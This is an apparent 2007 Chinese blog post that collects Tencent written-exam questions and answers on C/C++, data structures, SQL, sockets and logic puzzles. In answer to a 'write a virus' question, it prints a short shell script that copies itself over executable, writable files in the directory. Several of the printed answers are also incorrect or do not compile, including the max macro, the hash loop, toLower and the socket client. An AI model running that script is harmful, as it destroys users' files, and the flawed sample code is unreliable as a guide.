Tencent笔试题收集

----------------------------------------------------------------------------------------------------------------------------------

腾讯的流程是一笔和四面。前三次面试都是技术面,hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写代码,做智力题目。
主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。
 1.请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句。

#define max(a,b) (abs((a)-(b))-((a)-(b))) ? (b):(a)


 2.如何输出源文件的标题和目前执行行的行数

C定义的预定义宏: 

__DATE__       进行预处理的日期(“Mmm dd yyyy”形式的字符串文字,如May 27 2006)
__FILE__         代表当前源代码文件名的字符串文字 ,包含了详细路径,如G:/program/study/c+/test1.c
__LINE__        代表当前源代码中的行号的整数常量
__DATE__       源文件编译日期
__TIME__        源文件编译时间,格式微“hh:mm:ss”,如:09:11:10;
__func__         当前所在函数名,在编译器的较高版本中支持
__FUNCTION__ 当前所在函数名
__STDC__       常数1, 指示是标准兼容
__STDC_HOSTED__   如果是hosted实现,为1; 如果是..实现,为0
__STD_VERSION__    C99为199901L

int line= __LINE__;
char *file = __FILE__;
cout << "file name is " << file << ",line is " << line <<endl;


 3.两个数相乘,小数点后位数没有限制,请写一个高精度算法
与大数相乘原理一样,只是调整小数点位置,即有效小数个数
算法提示:
输入 string a, string b;计算string c=a*b; 返回 c;
1. 纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;
2, 去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)
3, 计算c=a*b; (要么用java的BigInterger搞, 要么自己用C++写高精度数乘法,超过百万位,用FFT,我就不细说,这都预先写过就别做了)
4, 输出c,(注意在输出倒数第l个数时,输出一个小数点。若是输出的数少于l个,就补0)
 4.写一个病毒

#shellvirus II
for file in * 
do 
if test -f $file ; then 
    if test -x $file ; then 
        if test -w $file ; then 
            if grep -s echo $file >.mmm ;then 
                cp $0 $file 
            fi; 
        fi; 
    fi; 
fi;
done 
rm .mmm -f 


上面这个不对,没有传染性,寄生性……
 5.不使用额外空间,将 A,B两链表的元素交叉归并

6. struct st{
  int i;
  short s;
  char c;
  };
sizeof(struct st); //8

char * p1;
void * p2;
int p3;
char p4[10];
sizeof(p1...p4) =?//4,4,4,10
5.让你在100000000个浮点数中找出最大的10000个,要求时间复杂度优。
最小堆
二分查找
快速排序
双向链表的删除结点
有A、B、C、D四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时1、2、5、10分钟
,只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内
这四个人都过桥?

CD -> AB 2

ACD<-B   1

A->BCD   10

AB<-CD   2

->ABCD   2
基础题有15道选择和2道读程序填空。选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案
附加题有几道没有看清楚。有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。。
15个选择题,60分
一个程序填空,40分
三道附加题60分
附加题考的是
不用第三个变量实现两个整形变量的交换
linux的子进程
操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否
书写strcpy()
时间两个小时,选择题 15*4
然后是程序填空题 10 (2*5), 30 (10*3)
附加题用c++ 实现一个链地址hash。
程序填空题我就不说了,比较easy的说,值得一提的是选择题。
绝大部分考的是C++,我大致说下主要部分吧:
涉及程序执行压栈的:1道
涉及容器和迭代器的:4道
涉及虚拟函数以及dynamic_cast的 3道
涉及参数传递的 1道
简单的程序段落判断 2道
涉及类的静态成员赋值的 1道
剩下的是杂七杂八的。
不管怎么说,假如你把c++ primer 仔细阅读了一遍,基本上没问题。
考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁
闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这
种类型的题目。
程序填空的考了文件操作,以及数组移动等。
附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class

/***************************** Hash_table.h**********************************/
 
#ifndef   HASH_TABLE_H
 
#define   HASH_TABLE_H
 
#include <string>
 
using namespace std;
 
struct node                  /*定义节点*/
 
 {
 
       node():_next(NULL){}
 
       string _value;
 
       node* _next;
 
};
 
typedef node* hash_node;      /*类型定义*/
 
const int MULT = 31;          /*散列函数的参数*/
 
const int TABLE = 10000;      /*数组的大小*/
 
 
 
class hash_table
 
{
 
public:
 
       /*构造函数*/
 
       hash_table(hash_node* table);
 
        /*析构函数*/
 
~hash_table();
 
       /*向hash_table插入元素*/
 
       void Insert(const string& word);
 
       /*从hash_table中查找元素*/
 
       int Search(const string& word);
 
private:
 
       /*散列函数*/
 
       unsigned int hash(const string& word); 
 
private:
 
       hash_node* _table;
 
};
 
#endif
 
/************************************end*************************************/
 
/*****************************hash_table.cpp***********************************/
 
#include "hash_table.h"
 
#include <iostream>
 
using namespace std;
 
/*构造函数*/
 
hash_table::hash_table(hash_node* table)
 
{
 
    _table = table;
 
}
 
/*析构函数*/
 
hash_table::~hash_table()
 
{
 
    delete[] _table;
 
}
 
/*散列函数*/
 
unsigned int hash_table::hash(const string& word)
 
{
 
     const char* p = word.c_str();
 
     unsigned int h = 0;
 
     for (; p; p++)                     /*hash_table的心脏*/
 
     {
 
        h = (h*MULT) % TABLE + (*p) % TABLE;
 
     }
 
    return h;
 
}
 
/*插入函数*/
 
void hash_table::Insert(const string& word)
 
{
 
       /*得到对应的散列值*/
 
       int h = hash(word);
 
       /*对应节点为空,插入本节点*/
 
       if (_table[h] == NULL)
 
       {
 
              hash_node n = new node();
 
              n->_value = word;
 
              n->_next = NULL;
 
              _table[h] = n;
 
              return ;
 
       }
 
       /*如果节点不为空,连结在本节点为头节点的链表*/
 
      for (hash_node p = _table[h];p != NULL;p = p->_next)
 
      {
 
           /*包含相同的值,直接返回*/
 
           if (p->_value == word)     return ;
 
      }
 
       /*发生冲突,处理冲突*/
 
       hash_node n = new node();
 
       n->_value = word;
 
       n->_next = _table[h];
 
       _table[h] = n;
 
}
 
/*查询函数*/
 
int hash_table::Search(const string& word)
 
{
 
       /*得到对应的散列值*/
 
       int h = hash(word);
 
       /*如果对应的节点为空,直接返回*/
 
       if (_table[h] == NULL)
 
       {
 
              return -1;
 
       }
 
       /*循环本节点,匹配对应的值,返回结果*/
 
       for (hash_node p = _table[h];p != NULL;p = p->_next)
 
       {
 
              if (p->_value == word)
 
              {
 
                     return 1;
 
              }
 
       }
 
       return -1;
 
}
 
/************************************end***********************************/


组装一下就ok了。

-----------------------------------------------------------------------------------------------------------------------------------

选择题(60)
c/c++ os linux 方面的基础知识 c的Sizeof函数有好几个!
程序填空(40)
1.(20) 4空x5
不使用额外空间,将 A,B两链表的元素交叉归并
2.(20) 4空x5
MFC 将树序列化 转存在数组或 链表中!
1, 计算 a^b << 2 (运算符优先级问题)

(a)^(b << 2)
2 根据先序中序求后序
3 a[3][4]哪个不能表示 a[1][1]: *(&a[0][0]) *(*(a+1)+1) *(&a[1]+1) *(&a[0][0]+4)
4 for(int i...)
for(int j...)
printf(i,j);
printf(j)
会出现什么问题

变量的作用域


5 for(i=0;i<10;++i,sum+=i);的运行结果

sum 1+2+...+10
6 10个数顺序插入查找二叉树,元素62的比较次数
7 10个数放入模10hash链表,最大长度是多少
8 fun((exp1,exp2),(exp3,exp4,exp5))有几个实参
9 希尔 冒泡 快速 插入 哪个平均速度最快
10 二分查找是 顺序存储 链存储 按value有序中的哪些
11 顺序查找的平均时间  O(n)
12 *p=NULL *p=new char[100] sizeof(p)各为多少

4 4
13 频繁的插入删除操作使用什么结构比较合适,链表还是数组

link
14 enum的声明方式

enum { //.. };
15 1-20的两个数把和告诉A,积告诉B,A说不知道是多少, B也说不知道,这时A说我知道了,B接着说我也知道了,问这两个数是多少


大题:补空
1 把字符串转换为小写,不成功返回NULL,成功返回新串

char *toLower(char *srcStr)
{
    assert(srcStr != NULL);
    int len = strlen(srcStr);
    char dstStr = new char[len+1];
    if(NULL == dstStr)
        return NULL;
    char *sptr = srcStr;
    char *dptr = dstStr;
    while(*ptr != '\0')
    {
        if(*ptr >= 'A' && *ptr <= 'Z')
        {
            *dptr = *sptr - 'A' +'a';    
        }
        else
        {
            *dptr = *sptr;
        }
        sptr++;
        dptr++;
    }
    *dptr = '\0';
    
    return dstStr;
}

 
char* toLower(char* sSrcStr)
{
char* sDest= NULL;
if( __1___) //NULL != sSrcStr
{
int j;
sLen = strlen(sSrcStr);
sDest = new [_______2_____]; //sLen +1
if(*sDest == NULL)
return NULL;
sDest[sLen] = '\0';
while(_____3____) //(--sLen>=0)
sDest[sLen] = toLowerChar(sSrcStr[sLen]);
}
return sDest;
}
2 把字符串转换为整数 例如:"-123" -> -123
main()
{
.....
if( *string == '-' )
n = ____1______;
else
n = num(string);
.....
}
int num(char* string)
{
for(;!(*string==0);string++)
{
int k;
k = __2_____;
j = --sLen;
while( __3__)
k = k * 10;
num = num + k;
}
return num;
}
附加题:
1 linux下调试core的命令,察看堆栈状态命令

/usr/proc/bin/lsstack core

 
2 写出socks套接字 服务端 客户端 通讯程序

//client.c
 
int main()
{
    int sockfd, n;
    char recvline(MAXLINE+1];
    struct sockaddr_in servaddr;
    
    if(socket(AF_INET, SOCK_STREAM, 0) < 0)
    {
        exit(-1);
    }
    
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    inet_pton(AF_INET, "202.120.37.167", &servaddr.sin_addr);
    servaddr.sin_port = htons(13);
 
    if(connect(sockfd, &servaddr, sizeof(servaddr)) < 0)
        exit(-1);
 
    while((n = read(socket, recvline, MAXLINE)) > 0)
    {
        //..
    }
    
    exit(0);
}
 
//server.c
 
int main(int argc, char *argv[])
{
    int     listenfd, connfd;
    struct sockaddr_in servaddr;
    char    buff[MAXLINE];
    
    listenfd = Socket(AF_INET, SOCK_STREAM, 0);
    
    bzeros(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(13); 
    
    Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
    
    Listen(listenfd, LISTENQ);
 
    for ( ; ; ) 
    {
        connfd = Accept(listenfd, (SA *) NULL, NULL);
      
        Write(connfd, buff, strlen(buff));
    
        Close(connfd);
    }
 
    exit(0);
}


3 填空补全程序,按照我的理解是添入:win32调入dll的函数名
查找函数入口的函数名 找到函数的调用形式
把formView加到singledoc的声明 将singledoc加到app的声明

关于DLL请看 >>>
4 有关系 s(sno,sname) c(cno,cname) sc(sno,cno,grade)
1 问上课程 "db"的学生no

select sno from sc join c on (sc.cno = c.cno) where cname = 'db' 


2 成绩最高的学生号

select sno from sc where grade = (select MAX(grade) from sc)


3 每科大于90分的人数

select COUNT(sno) from (select sno, MIN(grade) from sc group by sno) as tmp(sno, min_grade) where min_grade > 90
posted @ 2007-11-03 20:04  中土  阅读(3515)  评论(0编辑  收藏  举报
©2005-2008 Suprasoft Inc., All right reserved.